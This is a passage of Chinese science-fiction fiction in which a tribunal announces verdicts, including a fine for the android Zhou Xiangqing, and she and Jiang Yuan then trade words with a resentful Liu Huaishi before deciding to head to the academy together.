“本庭宣布审计结果。跟据案情相关事实,当事人柳怀石,无罪!当事人姜原、关铁震、郑小楼,构成非法侵入罪,因其情节较轻,处十五日拘役并罚金,缓期三个月执行。” 旁听席上的人们开始议论起来。而审计长咳嗽了一声,继续说道:“而圣女一案的审计结果,跟据本案最新的进展,本庭认为仿生人周向青并未与统修会有任何形式的合作,在卡比利亚行动中以及审计庭中构成的人身伤害属于自保性质,所以仅处罚金,罚金从其人贸账号中扣除。” ### “这不是他的判断,这是董事会的判断。”周向青回到休息室后,姜原如是评论。 “我才不管到底是谁的判断。我只做我的判断。”周向青道。 “你想要干什么?” 周向青话还没来得及回答,便听到后面传来一句阴狠狠的质问。 柳怀石正站在那里,推着一把轮椅,上面坐着他的仿生人。那仿生人的双腿如今尚未修复,也没有可以替换的部件,用一条沾着油污的毛毯潦草地盖着。 “你以为你在审计庭上那么说,高高在上地原谅我,我就会感激你吗?你不过是怕牵连到他们几个罢了。”柳怀石恨声道。如今的他已经完全没有了相遇时的游刃有余,所有的情绪都一览无遗。 “我并没有那么想。”周向青说。“你仍然是杀害胖球的凶手。但我想,如果我真的想杀了你,我一定自己动手。” “哼。那你来啊。我不承你的情。你这辈子也别想再见到你想要的信息了!还有你也是,你就等着教务处来找你吧!”这句话是对姜原说的。 姜原吹了声口哨。 “我并不在乎。”周向青说。“我并不是在执行‘那个人’的任务。我只是在寻找我自己问题的答案。有没有提示并不重要。本来我还想问你一个问题,但我现在也不想问了。因为,我已经决定下一步去哪里了。” 姜原又吹了一声口哨。 “你嘴硬也没有用。人才贸易银行还是我的。我赢了。你们,输了。”柳怀石甩下这句话,猛地转过身去。“我们走!”他大声命令自己的仿生人。他的仿生人温顺地转动轮椅,跟他一起离开了。 姜原叹了口气。“我本来还打算问一下,他对韦式池的看法呢。” “没关——”周向青才说出两个字,姜原便抢先道:“没关系,可以不需要提示,我们自己去找。对吧。” “对。”周向青笑了笑。但她的笑容很快凝住,继而慢慢消失了。 姜原收起笑容,轻轻拍了拍她的肩膀。 “你说,那个人……他应该对我的态度,会不会和柳怀石对他的……”周向青没有说下去。好像如果她把自己心里的想法说出来,就会成真似的。 “说什么呢!”姜原拍了一下她的帽檐。“他把帽子都给你了,不是吗?” “说的也是。他把帽子都给我了。”周向青慢慢重复了一遍这句话,然后又重新笑了。 “走吧。我们也该走了。趁他们还没改主意之前走。”姜原道。 “那么这位先生,您接下来是打算去哪里呀?”周向青背着手,歪着脑袋问。 “打算去哪里?当然是回学院咯!这次任务我晚了这么久,晚得我自己都害怕了……而且教务处居然……”姜原一个人叨叨起来。 “你这样不对!你快问我去哪里!” “啊?” “问我去哪里!” “哦。好好好。”姜原清了清嗓子,换了一副朗诵式的腔调:“你刚才说,你已经决定下一步去哪了,那你打算去哪里呢?” “我也是去你那个学院呢!”周向青笑着说。 “啊!那可真巧。” “是呀!那可真巧呢!” “真巧……吗?”姜原望着远方,又轻轻吹了一声口哨。